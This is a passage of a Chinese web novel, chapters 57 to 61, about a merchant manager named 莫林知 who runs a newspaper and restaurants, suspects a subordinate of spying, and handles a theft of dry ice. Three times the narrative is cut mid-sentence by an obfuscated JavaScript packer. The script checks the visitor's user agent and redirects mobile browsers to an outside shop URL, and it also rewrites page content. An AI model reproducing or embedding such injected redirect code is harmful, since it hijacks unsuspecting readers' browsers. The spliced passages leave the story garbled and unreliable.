莫林知眯眼，直接略过他，看向旁边的人：“晚玉，你怎么看？” 晚玉脑子里其实有一个模糊的概念，只不过，这个概念的起源还是来源于莫林知，所以她有些不好意思说。 现在既然被问到了，她还是组织了下语言，娓娓道来：“我觉得，可以提前办一个中秋礼品的品鉴会。不只局限于糕点，还可以是其他例如玩具之类的。” “想要参与的商家先递交申请，我们派人进行初步的考察，确认可以后发放资格证。但是入场的商家需要缴纳摊位费。同样，想要进去免费试吃试玩的顾客也需要缴纳入场费，并且留下他们的评定结果才行。” 她的解决之道让不少人有种“耳目一新”的感觉，好几人脸上都露出叹服之色，尤其是提出这个想法的何梅，看着晚玉的眼睛比星辰还亮。 就在这一众赞赏之色中，龚煊丢开笔，嗤笑一声，悠悠开口：“那你怎么保证，那些入场的顾客，不是摊主花钱雇来的呢？” 57. 秘密 话音一落，刚才还轻松欢快的氛围戛然而止，晚玉也蹙着眉头陷入沉思。 “如果······在品鉴名额上设置门槛呢？”何梅小心翼翼试探，“只要这个名额商家没法提前知道，那就很难造假了吧？” 她的话给了大家一个明确的方向，韩雯雯立马眼睛一亮，接道：“用抽奖形式怎么样？中奖信息就随机印在《见闻》的某个角落，白天飞毛腿把《见闻》发下去，晚上大家就能直接来参加品鉴会了。” “我赞同，是个好办法。”齐铭力挺。 见他们讨论出了结果，莫林知当即就定了下来：“那就这么安排。不过这个可以设置成烟雾弹，到时候，品鉴会入口肯定很多倒卖资格券的，既然如此，我们不如自己设置一个临时的售票窗口，把这个钱赚了。” 众人：！！！！ 高还是莫管事高。 莫林知视线扫了一圈，半是玩笑半是警告：“别把这个规则给我抖出去了啊，保密协议可不是吃素的。” 众人表情一肃，齐齐应“是”。 月会开到这里，要过的事务基本就过完了，莫林知散了会，大家收拾收拾东西鱼贯而出，各自该干嘛干嘛去。 下午，距离下工还有半个时辰的时候，晚玉把大家总结的岗位要求和工作流都收集了上来。莫林知便放下手头还差一点的复盘，先看起大家的作业，同时还不忘交代：“明天和各个掌柜的月度复盘会，你和晚香都跟着我一起去。” 晚玉先是一惊，而后一喜，最后福了福身，开心应下。 明天的月度复盘会，到场的至少都是掌柜级别，按理说，她是没资格的。但莫林知既然给了她这个学习机会，那她就不会故作谦词地拒绝。 她只会不断努力，抓住每一个学习机会，快速成长。这样才是真正对莫管事的报答！ 不过特殊对待毕竟招人恨，所以离开时，晚玉收敛了神情，很是寻常地出了门。 莫林知对她没什么不放心的，交代那句话后，就专心地投入到了大家的作业中。 整体来看，总结比较到位的是岗位职责。 这不稀奇。 待在见闻的一个月，莫林知每天到岗的第一时间就是把今日的待办事项列出来，并按照紧急、重要程度进行排序。在她的影响下，其他人或多或少都有这个习惯。 哪怕只是把每天的待办事项整合一下，这个岗位职责的内容也就八九不离十了。 只是在工作流上都还比较粗浅，这个也不怪他们。丽颜这个项目虽然给大家打了一个样，但，总体而言都还比较基础和简单，所以，很多环节的避坑总结还不到位。 莫林知没有要一气呵成的样子，只是基于丽颜这个案子，把他们的内容作了一个查漏补缺。至于剩下的，就让他们之后遇到了再慢慢完善吧。 等项目多到需要招人的时候，他们现在整理的这份资料，就可以直接作为培训资料使用了。 莫林知一边改一边翻页，突然，笔尖顿住。 她没想到，在这一叠课业中，居然夹了一张人物画像。 还有种莫名的熟悉感。 莫林知看了半响，视线从那张脸上移开，直到停留在发间的那根簪子上时，她才突然恍然——画中的人是她！ 这是这阵子，由她带起了高马尾丸子头的潮流，《见闻》里几个女孩子都是这个发型，所以她才一时没反应过来而已。 意识到这一点后，问题紧接着蹦入脑子——这是谁画的？ 下一秒，答案不假思索地出现：龚煊。 因为上一张，她看的正好是龚煊的岗位职责总结。 莫林知又往下翻了一下，果然，下一张还是他的工作流程——她突然就明白了，开会的时候，龚煊埋着头也不参与大家的讨论，到底是在干嘛。 恐怕手上这个就是成果吧。 他还挺有想法，给她周身加了一些小火焰似的东西······是在说她开会时对他发火？ 思绪飞到了天马行空，又被她紧急刹车——她突然意识到这个事件背后更为难的几个点。 首先，这个画······是龚煊故意塞进来的吗？如果是······那他到底意图为何。 其次，不管是不是，擅自画她的小像都已经属于很明显的越界行为了，她应该怎么做。 不等她想明白，门外传来急促的脚步声。那一瞬，莫林知什么都没想，几乎是反射性地抽出这张画像塞到了抽屉里。手刚拿出来，大门不经允许地就被人直接推开。 是龚煊。 神情有些不自然，这让莫林知瞬间明白过来——那张小像，不是他故意塞进来的。 既然这样，那她暂时不用管第一个问题了。至于第二个······她决定先装作不知道。 顷刻间做出抉择的莫林知做出当下的最佳反应——她皱起眉，一脸反感地开口：“门都不敲直接闯，这就是你的礼仪吗？” “抱歉，我下次会注意。”龚煊无意纠缠，爽快认错，然后走上前指了下她眼前那一叠纸张，“我想起刚刚好像把一张草稿塞里面了，能让我找回来吗？” “你的吗？”莫林知佯作不知地翻了几下，“没有草稿。我正要看你的，既然你来了，那就当面跟你沟通问题吧。” 莫林知不由分说把人扣留，然后一边批阅一边不客气地指出问题所在和修改要求，最后甚至不顾马上就要下工，让他把提到的点都修改完才能离开——一看就是明晃晃的针对。 龚煊以为她还在因为会议室的事情生气，没有任何异议地直接答应了，或者说，他心不在焉的状态可能也顾不上去反对。 接过莫林知递回的课业，他翻了几遍，确实没有想找的东西，于是又把目光抛向莫林知眼前那一叠。 “你干嘛？还不赶紧去修改？” “我想学习下别人的优秀点，能让我看一下吗？”龚煊急中生智地找了个很烂的借口，刚说完，就在莫林知眼中看到了诧异之色。 要不是理智还在，他都忍不住想扶额——这话一听就不是他会干的事儿，果然，莫林知以为他打着什么坏主意吧······ 但目的还没达成，他只能硬着头皮继续说：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12984366|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在这里翻阅一下，很快，行吗？” 说真的，看一直跋扈嚣张不守规则的人难得这么窘迫，真的很爽！ 要不是怕露出破绽，莫林知还真想好好治一治他。 想着再拒绝下去恐怕就要让人生疑，她“不情不愿”地将眼前这一刀都递给了他：“速度快点，我可是要准点下工的。” 龚煊没回答，全幅心神都在眼前这一叠文件上。只是······从头到尾翻了一遍，都没找到他要的东西。 怎么可能呢？？！！ 他的办公桌没有，那就只能是这里了！ 龚煊不死心，一张一张，从后到前又看了一遍，确定没有，这才魂不守舍地将东西还了回去。 “行了，看完了就赶紧走，别打扰我。还有，下次记得敲门，不然扣你薪水。”莫林知不耐烦地挥手。 龚煊回神，看着已经伏案继续工作的莫林知，脑子里突然冒出那个他最不想面对的事实——会不会，那张纸已经被莫林知看到并销毁了？ 不过，看她这前前后后的反应，实在不太像看到了的样子。 有没有可能是被别人看到然后拿走了？ 一时之间，各种可能性涌上心头，但都没个定论。 龚煊暗自咬牙，无奈离开。 但这还没完，回到办公室的他，偷觑着晚玉的一言一行，怎么看都觉得有些可疑。 ······或许不只是晚玉。 还有来找晚玉的何梅、好端端的办公室不呆非要在院子里写东西的齐铭与何泽，都很可疑！ 另一边，把人打发走了的莫林知也很苦恼。 她不是没有遇到过办公室恋情。 但是职位低的时候不想碰，因为怕最后不欢而散弄得工作都干不下去；职位高了么······就不敢碰了，怕遇上仙人跳。 要知道，职场上，男人算计得比女人可狠多了。 龚煊这个，还真有点不好处理。 这个人有才干，远胜同期所有人，所以平时桀骜不驯一点她都觉得问题不大。 甚至在她的人员安排里，这个人是她想后续派往南下开疆拓土的不二人选。 直接弃了的话，新的人选就比较头疼了。不弃嘛······她可能就要一直揣着明白装糊涂演下去。 先不提演技够不够格，想想都觉得累，毕竟每天还要忙那么多事情，哪有时间天天想这些有的没的？ 拿不定主意的莫林知长长叹了口气，刷刷几下把剩下的文件都改了，然后带着自己未完成的复盘走人——作为一个好领导，她从来都是到点就走，绝不拖延。 加班没有意义啊。与其耗时长，不如直接合理安排好工作量，提高大家的效率。 业余时间休息好放松好，上工的时候才更能全神贯注啊不是。 晚上，靠着复盘才没空想东想西的莫林知好不容易睡了个安稳觉，第二天，她带着晚香晚玉赶到火锅店时，又直接在门口遇到了龚煊这个大鲨器。 莫林知：“······” 这人就是专门来搞心态的吧？ 59. 月度复盘 莫林知在楼下略略寒暄了几句，然后把晚香晚玉留在一楼吃着，自己单独上了三楼。 一进门，就被萧瑾和萧太妃两人的热烈掌声迎接了。 她抿了抿唇，还是没抑制住，脸上不由自主露出灿烂的笑容：“谢谢······我都有点不好意思了。” “林知姐，我真的开眼界了~简直闻所未闻啊，咱禹朝经商第一人，非你莫属。”萧瑾的掌声更热烈了。 专业的领域被人认可，莫林知连客套的谦辞都说不出来。 她其实还挺喜欢这感觉的。 前世，种花人大多含蓄，就算是升职加薪，家里人也大多说的都是“女孩子，别太拼事业，身体最重要”之类的，哪怕是懂她的朋友，也只是约出来吃个饭庆祝庆祝，顶多就是额外多一束鲜花。 很少有人，会以这样的掌声，直白的夸奖对她说“你很厉害，少有的厉害”！。 不过······萧瑾，你年纪比我大，称我“林知姐”什么的······ 莫林知小心瞟了眼旁边萧太妃的神色，发现她笑吟吟地给自己夹菜，好像没发现什么不正常的情况。 ······有点想捂脸。 这让她纠正都不知道该如何开口啊······ 就这么一个简单恍神，面前盘子里的菜已经堆了老高。莫林知连连道谢，然后抛开杂念，专心应对眼前的美食。 顺便闲聊“一点点”公事。 “下午火锅店、《见闻》和干冰这边有一些银钱入账，还有飞毛腿，我约了林显和萧凛敲定后续的发展规划。太妃娘娘，二少爷，你们怎么安排？” 萧瑾立即接口：“我想跟着你。” 萧太妃笑着瞥了萧瑾一眼，没说什么，只是表示精力有些不济，所以等会儿就让萧瑾一人代表就好了。 莫林知一听，脸上不禁露出一丝惭愧：“最近我好像总是在给您找麻烦。” “怎么会是麻烦呢？你不知道，我看到你，有多羡慕，又有多高兴。”萧太妃在她手背轻轻拍了拍，“我想做而不能做的事情，你都替我做了。所以哪怕是这样旁观的身份看着，我心里的那一部分缺憾都没了。” “别想太多，你就把我当做家里的长辈，想做什么需要什么尽管开口。” 萧太妃不管是表情还是语气，都含着满满的真诚。莫林知感觉肩头那点负疚和惶恐好像被一把柔软的刷子亲亲刷掉了，浑身一轻。 但心里又有什么猛地灌了进来，沉甸甸的往下坠。 “谢谢娘娘。”莫林知压下眼底的潮意，冲她灿烂一笑，“我一定不会让您失望的。” 萧太妃回以信任一笑。 正此时，楼下的晚香上来了，进门后，脸上有丝丝为难之色：“莫管事，楼下的掌柜知道今日主家在，所以都希望可以上来一一敬酒。” 莫林知当即就皱了眉。 如果今日来的是萧衍，以他的为人，其实不用楼下的掌柜们开口，萧衍就会带着她一桌一桌寒暄过去。既是安抚，也是撑腰。 但太妃娘娘肯定是不能让他们冲撞了的。 莫林知看了眼对面的萧瑾，谨慎开口：“娘娘近年深居简出是大家都知道的事情，怎么能让那些人闯进来。不如这样，二少爷和我一起下楼去应付一圈如何？” 萧太妃和萧瑾觉得这么安排挺好。 不管怎么说，萧瑾作为王府目前的继承人，是要适当露露面，了解一些情况了。 于是两人齐齐起身，和萧太妃告了歉，然后下楼。 对楼下这桌人，莫林知大半都是不认识的。萧瑾略好一点，往年这些人来王府述职交账，他有跟在萧衍旁边打过照面，但——应酬是不行的。 于是莫林知让晚香去请了吴大吴二两人作为中间人跟着他们一起行动。 北境苦寒，不管男男女女，平日大多都会喝点酒暖暖身。所以在座各位掌柜，各个都是千杯不倒的酒坛子。 下楼时，晚香还有点担忧地问莫林知要不要给他们的酒换成水什么的，莫林知摇头拒绝了。 她刚在公事上压了这些人一头，如果在酒桌上还要造假什么的，只怕这些人往后的顺服都要打个折扣。但换个角度思考，如果她能把这个场子撑下来，那后续要做的事情也会润滑很多。 因此，莫林知连酒壶都没备，直接用了他们桌上的酒，明光正大，坦坦荡荡，一桌一桌喝了过去。 说实话，这些人中间，肯定有想过要小小为难一下的，但是见此情景，反而一个个服气了——莫林知这个人，是真的大气！ 不管是场面上的公事还是场面下的应酬，该怎样就怎样，毫不含糊！够敞亮！ 在一众叫好声中，莫林知站在最后一桌，咽下嘴里的酒水，示意了一下空杯子然后玩笑道：“酒我喝了，今后这事情谁要是没做好，别怪我到时候直接灌他一坛啊~” 众人哄笑。七嘴八舌地开玩笑。 因为这一圈酒，大家立马忘了会议之初她是怎么释放压迫力的了，双方的距离不自觉拉近。 尤其是众位掌柜看她，有对上司的臣服、对同仁的敬佩，还有像看自家优秀小辈的欣赏和赞叹。 “你酒量这么好的？”萧瑾看着她清亮的眼睛，只是淡淡泛红的脸色，一脸惊叹，“这可是上次我们火锅聚餐的2倍量啊~” “还行，天生体质好。”莫林知神色平淡地说着气人的话，把酒杯交到晚香手里，然后端过她奉上的解酒汤一饮而尽。 唔······好难喝。 莫林知忍不住皱眉。 萧瑾神情立马紧张起来：“你没事儿吧？” “没事儿，肚子有点涨，我去躺茅厕。”莫林知挥挥手，然后带着晚香去了后院。 解决了人生大事后，莫林知重新回到三楼，刚坐下，就听到萧瑾若有所思地开口：“话说，跟晚玉一桌的那个男人是你手底下的吗？” “你说龚煊？《见闻》策划部的策划之一，怎么了？”莫林知边吃边随口答了一句。 “有点眼熟，你知道他的身份吗？” 莫林知摇头：“应该是北境名门或者富商之后，要不然，也养不出他这么张扬自我的性子。不过这人有几分歪才，所以我想能用就用。” 萧瑾点点头，没继续了。反倒是莫林知，被她勾起了好奇心。将一块鸭血咽了下去，她瞟着对面问道：“所以你知道他身份？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13017353|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “应该是认错了。毕竟我也是很小的时候见过那人，而且，他怎么也不可能出现在北境才对。” 萧瑾说得不清不楚的，虽然是否定答案，莫林知还是从中敏锐嗅到一丝不寻常： “你是说他可能是其他藩王派来的间谍？身份还很高？” 萧瑾：“！！！！” 看来她不只是商业上有天赋。 “可能吧，我先找人查一查，有结果再告诉你。” “行，这段时间我也多留点心。” 龚煊的事情就在两人心照不宣中暂且按下了。一顿饭毕，两人先一起把萧太妃送回了院子，然后去了王府账房处。 她跟吴大吴二他们说好了，在这边交接银子。 这一次，跟在身边的萧瑾是真的长见识了。刚才这几个人的分享，数据只说增长了几倍，可没提到，具体的营收居然超十万了啊！！！！ 这才多久！！！！ 看着眼前一箱箱白花花的银子，萧瑾感觉脑子里都充斥着一片晃得人睁不开眼的白，怎么想都想不起当初兄长为了军费愁得整宿整宿坐在书房不熄灯的表情了。 “原来，我北境居然是这么富庶的吗······”他禁不住低声喃喃。 旁边，听清他说什么的莫林知：“······” 趁人不注意踢了下萧瑾的脚，示意他别这么丢人，有外人在呢！！！ 不过她显然是多虑了，在场众人，除了吴大吴二两位掌柜是早就盘过数字的，看起来很是淡然的模样，其余人都懵了······ 这十万两，有近6成都是两家火锅店的营收。酒楼的钱这么好赚的吗？？？ 只有深知酒楼以往账目的王府账房对莫林知投去了敬畏的眼神。 林显咳嗽了两声，示意萧凛回神。 其实，飞毛腿的流水也挺高的。只不过，飞速的扩张和仓库这种基础建设耗费了一部分；再然后，在莫林知的三令五申下，给暗探兄弟们的训练装备等各种物资几乎可与军营的精锐媲美，这些又耗费了一部分。就这，最后还能剩个一万多两，可想而知，日流水有多恐怖。 账目盘完，亲眼看着银子入库，莫林知和库房管事们道别，带着林显萧凛转道她的院子去谈事情。 晚玉和龚煊已经回了《见闻》工坊，院子里，晚香一个人忙忙碌碌地给几人准备了茶水点心，然后退到了一边。 一坐下，莫林知就开门见山地问了：“飞毛腿目前都铺到哪儿了？” 林显起身，给在座各位递了一张北境地图和点位标识：“飞毛腿的铺设已经全部完成，保证深入到每个村镇都至少有一个配送点。不过仓库还有部分在建设中，预估这个月末可以结束。” “行，我想从今天开始，把《见闻》在北境全面铺开。印刷坊那边我已经打好招呼，让他们各自分成了五个队伍，明天你派人带着这5个队伍先去几大城选址建坊，尽最快速度把点位铺好。” “是。那其他城市的《见闻》内容······” “过阵子我会带队出发去几大城建立内容部。” 莫林知说得风轻云淡的，萧瑾一听，立马跳了起来：“你也要出远门？？！！” 60. 偷窃 当晚，萧瑾坐在书房，对着信纸，愤愤下笔： 兄长亲启： 今日，吾与林知姐共事，偶闻其将携众赴沧澜诸城，未知兄今安在？或可邂逅同行乎？兄宜把握良机。又，于林知姐麾下见一人，貌似童稚之交，然西南距北境山遥水远，当非彼也。惟审慎为上，欲请萧凛探之，祈兄允准。 文绉绉地写完紧要信息，萧瑾拿起纸张端详了一会儿，犹觉不过瘾。又拿起笔，用大白话在下面补了一句： 林知姐很优秀！超级优秀！今日会议，我已然目睹多人对林知姐心生倾慕！兄长你再不抓紧，恐怕到手的鸭子就要飞了！！！ 重重吁口气，萧瑾将信纸晾干收好，然后交给了身边的侍卫，让他明日交给信使。 心理的两块大石轻轻搬开，萧瑾撑撑懒腰，回房睡觉去了——他明日还得把今天的课业一起补上呢！ 同一时间，结束了这一天战斗的莫林知也在书房伏案写信。 准确来说，其实不算信，而是给萧衍的工作月报。 这两个多月，她对王府的整个商业资源来了一遍大调整，萧衍作为老板给了她100%的信任与支持，那她作为下属，阶段性的汇报进展和规划也是应该的。 信息倒是不难整理。营收这些数据都是现成的，问题分析和规划也是现成的。 莫林知按照总分总的模式对手下的整个商业盘子做了一个总结和梳理，收尾的时候，她略略踌躇，还是将萧瑾对于龚煊的身份怀疑写了上去。 不过······整个信件都是公事公办的内容，好像也有点太硬核了。莫林知想了想，又将自己在王府这些日子发生的事情，挑了一些好的，有趣的写上。重点就是突出一个道理——感谢老板、感谢老板的家人、给了我如沐春风的关怀和支持。我们留守在家里的时候也都很惦记在外的您，希望您早日平安归家。 为表这个话中的真实度和诚意，莫林知打开抽屉，将之前做好的编绳手链也一起塞进去了。 最后看着手中鼓鼓囊囊的厚厚一封“信”，莫林知唇角勾起一个满意的弧度——她这情商，从来都只有她不想讨好的，而没有她讨好不了的！ 又是完美的一天~ 莫林知将信件放在桌上，吹灭烛火，也休息去了。沉浸在香甜美梦中的他们并不知道，此时此刻，万籁俱寂的街道上，正上演着一场追逐战。 第二天天蒙蒙亮，莫林知半梦半醒之际，忽然听到了急促的敲门声，恍若从天外传来。 神思飘飘荡荡的她猛地惊醒，回到现实的第一秒就意识到：肯定是出问题了，不然晚香晚玉不会这样来敲门。 她不敢耽搁，披上外套就开了门让两人进来，同时自己手脚麻利的穿衣洗漱。 “吴大掌柜让人来报，说是酒楼昨晚遭贼了。”晚香口齿伶俐，语速奇快但咬字清晰，“不过店铺暂时损失不大。来的那伙人目标明确，就是奔着干冰去的，但是不巧撞上了打更人。咱们家的干冰全城皆知且只此一家，打更人一看露出的痕迹就明了了，当下就利落地叫人抓贼，最后这伙人被街坊们堵在了死胡同。吴大掌柜的来报信，是想问您这件事怎么处理。” “我知道了，回复传信的人，半个时辰内我会到酒楼。你顺便叫两个人，通知李程江和老黄一起到酒楼去。”莫林知心里放下些许，顷刻之间做了一连串决定。 晚香领命而去。 院子里，正在摆早饭的晚玉脸上也还有些残余的焦急。而且，刚才莫林知的吩咐她也听到了。见莫林知出来，她有些迟疑的开口：“莫管事，要不我也······” 莫林知知道她想说什么，做了个“打住”的手势：“你照常去《见闻》。” “······是。” 正好晚香也回来了，三人用了个战斗餐，然后将东西堆叠到厨房，各自出门。 偷干冰这件事，与其用“严重”来形容，倒不如说是“戏剧”更贴切一点。 吃早饭的时候，莫林知就已经差不多把背后的缘由猜了个七七八八，到了现场一问，果然如此。 这种制冷物件，除了餐饮行业，一般还真不是硬性需求。但是偷窃这种事情吧，还真没谁敢打包票说十拿九稳，城里那些老牌酒楼都要脸，肯定是不会冒这种风险的！所以，能干出这种事情的，要么就是那些想红火想疯了的二三流，再不然，就是闲着无事有钱没地花的公子哥。 果然，到了酒楼一问，吴大掌柜就苦着脸把莫林知拉到了一边，说那伙盗贼的背后是城内一个有名的富商陈家的小公子。这人前段时间还一直找到吴掌柜这儿求购，被连番拒绝才想了这么个歪主意。 陈家比李家也就差那么点儿，根基深厚，不好为了这么点小事闹翻。所以这件事，他们最好就到此为止了。 反正，那伙小偷也入狱了。 莫林知听完，半是无奈半是不屑地笑了。 不计较就不计较吧。现在的问题是，怎么从这件事得利。 莫林知走到老黄和李程江那一桌坐下，给两人倒了杯水，不疾不徐开口：“干冰这个事儿我从来没想过要一直独霸，问题关键还是在产量。老黄，你给我个实话，产量到底能不能上去。” 老黄：“······要不要给你面镜子？你瞅瞅你现在的表情，像是给我说‘不’的权利了吗？” 莫林知没开玩笑，虎视眈眈地盯着他。 若说开始产量上不去，莫林知是信的。但是这都多久了，她不信，能从自己给出的一点提示就能制作出干冰的人，会这么久还解决不了一个产量问题。 不过是性子懒散又无欲无求而已。 “我知道，合伙人、钱，这些你其实都不怎么在乎。但是人命呢？”莫林知双手抱胸，一双眼睛直直看到人心里，“凭你一人之力，灾祸来临，你只能救下3个。但王爷可以救下万万个，只要他后方稳定！” “老黄，现在的形势，你应该看得比我清楚！” 老黄脸上的懒散一点点收敛，最后变得沉默无言。 莫林知这才发现，这个男人面无表情的时候，居然有着不逊自己的压迫感。 甚至还带着点血腥。 她忍不住朝李程江轻轻瞥了一眼——这人到底之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13034972|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前是做什么的？李程江和他这么熟，清楚他的来历吗？ 李程江察觉到对面的目光，但抬眼时，莫林知早已移开。 李程江：？ 良久沉默之后，老黄长叹一声，脸上重新浮现出“拿你没办法”的笑容：“还真是被你狠狠拿捏了啊······” “我知道了，这周内给你满意的答复。” “满意的答复”，那就是100%保证的意思了。 莫林知当下满意挑眉：“那这周的头条就辛苦李程江安排下了，接下来一个月，我要全城为了这个干冰疯狂！” 李程江点头。 事情还算完美的解决，莫林知拍拍手，撑着桌子起身：“行，那咱们各就各位吧，也不耽误时间了。” 李程江：“······” 这一大早的，节奏是真难受。 奈何他和莫林知同路，都是要去《见闻》，所以想找个借口喘口气都没法子。 而仍在原地坐着不动的老黄看着两人背影，学着莫林知刚才说话的表情自娱自乐了一下，最后无语吐槽：“自己当驴不算，还要拉着所有人一起推磨，可真有你的！” 说完，他冲吴大掌柜打了个响指：“给我来个锅底，来三盘肉三盘菜一个主食，记莫林知账上！” 马车上，李程江打量了莫林知半响，突然笑了一下：“也没见你跟老黄打过几次照面，怎么就能精准找到他的死穴？” 莫林知挑眉：“我见你的第一面，也就笃定你会成为我的合伙人了。”说到此，她玄秘一笑，“这世界上，大多数人看人用眼睛看，我用心看。” “有什么不一样吗？” “当然不一样。”莫林知回视着他的眼睛，琥珀色的瞳孔边沿仿佛镶嵌了一圈金边，“这个世界上，每个人的内心就如同一座悬崖，用眼睛看的人，大多会被崖顶的秀丽苍翠误导，谁也不知道，崖底究竟是同样的鸟语花香还是荒芜地狱。” “李程江，要不要让我猜猜，你的崖底，什么样的风景？” 她的眼神直勾勾地盯着李程江，阳光透过车窗照耀在那张模糊的表情上，李程江有一种眼前人不是人，而是什么精怪的错觉。 无声对峙一会儿，他最终败下阵来，移开眼：“不劳费心了，我自己心里清楚就行。” 莫林知勾唇，胸腔发出一声闷笑，顺着他移开了话题：“过阵子我要带几个人出门，大约2周，到时候《见闻》你多盯着点。” 李程江皱眉：“那你最好把那个龚煊一起带走，否则我压不住他。” “······你好歹也是北境第一大户李家的公子，要不要这么长他人志气。”莫林知无语撇嘴，“没打算带，你就多担待点吧。” 不过，李程江的话倒是提醒了莫林知一点—— “你不认识龚煊？”莫林知确认。 李程江满头问号：“我应该认识他吗？” 他的反应不似作伪，可作为李家的继承人，对这个北境圈子里的人应该或多或少眼熟才对。所以，龚煊不是北境的人？！ 莫林知慢慢沉下了脸。 61. 远离 回到办公室后，莫林知重新推翻了原有的队伍名单。 首先，晚玉不能去。她得和龚煊一起留下，好好盯紧这个人。还有韩雯雯和何梅也得留下，这俩人和龚煊的关系很一般，相反，她们和晚玉相处得不错。到时候，不管龚煊所图为何，有这些人在，总是更不方便的，但是这样的架构对晚玉就便利很多了。 重新敲定了外出的人，莫林知就将相关人等叫到了院子里。 她先将自己要在澜沧城发展《见闻》分部的事情大致说了一遍，然后将选择权交到了这些人自己手上：“这一趟往返大约半个月到一个月，到时候路上吃住肯定不如现在方便，安全也不能完全保证。所以要不要去你们和家里人商量商量，后天给我答复。” 怕他们有心理压力，她最后格外强调：“这个不涉及到任何考核和绩效，所以不用勉强。” 说是这么说，其实从他们兴奋惊喜的表情就能知道——拒绝的概率几乎为0。 其实也能理解，奉命外出，这个在很多人眼里都是只有掌柜管事级别才会有的任务。所以，被莫林知点到的人，心理都有一种自己被认可的自豪感。 其次，他们长到现在，除了齐铭，其他人都还没出过城。现在一下子就能去北境第二大城看看，他们期待还来不及，怎么会拒绝呢！ 莫林知话一说完，齐铭就立即举了手：“莫管事，我现在就可以答复，我没问题。” 其他人见状，接二连三也举了手，但被莫林知制止了—— “打住。”莫林知做了个stop的手势，“替我做事之前，你们先是父母的孩子，是别人的夫君/妻子，是孩子的爹娘。这一趟出行我并不能百分百保证安全，所以，请你们回去，和家里商量！” 经她一提醒，刚才有些上头的个别人立马清醒过来，脸上露出讪讪的表情。 只有齐铭，依旧锲而不舍地表态：“我真的可以。莫管事，我家里就只剩我一个人了，所以我自己就能做主。” 话音一落，莫林知和其余几人都投去惊讶的目光。 说真的，本着信任原则，莫林知还真没调查过这几个人的家境状况。因为她一直觉得，一个人的做事逻辑和能力，是可以通过面试笔试来检测的。至于做人怎么样······那就只能通过时间去验证了。 所以哪怕手上有飞毛腿的暗探，她也不喜欢搞“背调”那一套。 齐铭这个情况确实让她有点惊讶，因为‘父母双亡’这个在北境其实还蛮少见的。 毕竟这个年代车马都慢，连出意外的机会都少很多，至于人祸嘛······萧衍治下严明，官吏要么是之前军中退下的老部将，要么是直接从本地人中遴选，皇城那边派来的尸位素餐的官员们一个个都“出意外”死了，所以吏治还算清明。 以齐铭这个年纪，家里人都不在了，那很大概率是因为战争。 他是战争遗孤。 突然之间，莫林知就明白，齐铭这年纪轻轻不到二十，就长袖善舞且见多识广的本事是怎么来的了。恐怕，在应聘《见闻》之前，没少在其他地方做工。再加上这人极善学习，能抓住每一个机会，把每一段经历都彻底嚼碎、吸收的本领······ 莫林知心里由衷佩服。 所有念头闪过也不过就是一瞬间，她脸上的惊讶很快转为欣赏：“抱歉，无意提起你的伤心事。不过你真的很优秀，我想，你的家人泉下有知也会感到很欣慰的。” 齐铭笑了下：“谢谢莫管事。我爹娘临终前就希望我能好好长大成人，所以我现在已经完成他们的遗愿了，相信他们一定会走得安心的。” 寥寥两句话，莫林知眼前仿佛出现了一对淳朴厚道，和乐开明的夫妻俩。想到齐铭的学习天赋，她心想或许还是诗书之家。 她让其他人先回去，单独留下齐铭，犹豫一下下，还是多事地开口了：“抱歉，之前对你们不够了解，所以，很多事情我也疏忽了，没有细心去关注。齐铭，不管是你还是办公室里其他人，都是我精挑细选出来的。直白点说，总部的这些人，以后的前程绝对不可估量。” “但是前程之外，还有生活。我不强求大家可以做家人，但我想我们至少是可以交托后背的队友。所以，你也好，大家也好，如果生活上有什么需要帮忙的，可以大胆开口。我能满足的尽量满足。” 共事这么久，莫林知一直展现的都是雷厉风行、敏锐果决、甚至做起事来比男人还大开大合的模样。她就像战场上的一位将军，观察着整个战场的信息变化，精准调整策略部署。哪怕手底下的小兵休息了，她的营帐也是灯火通明。 她虽然从不要求底下的人和她一样不眠不休，但，大家都不知道，一夜过去，第二天又会面临什么样的变化。快节奏之下，大家自然而然地就忍不住向她看齐，时时刻刻保持着高度集中，时时刻刻准备着迎接考题。 所以齐铭入职这么久，对她有敬佩，有景仰，甚至畏惧，还从来没有······这么放松过。放松到他忍不住以下犯上，开了个玩笑： “莫管事，这是我第一次觉得‘原来你真是个女孩子’。” “······”莫林知有少许无语，而后忍不住失笑，“‘上司’不在男女性别之列，属于第三类人。不过你可以把我当长辈，有任何事情都可以向我求助。” “是——”齐铭拖着长腔，行了个恭敬但不失温情的礼，然后告退了。 看着他进门，嘴角还残留着笑意的莫林知眼神不期然一转，和一双桀骜不驯的眼睛对上了。笑意不自觉一僵，莫林知收了表情，板着脸回了办公室。 就在她关上门安静写沧澜城规划时，门外，那道阴魂不散的声音又一次响起： “莫管事，我有事情找，现在方便吗？” 莫林知：“······” “进来吧。” 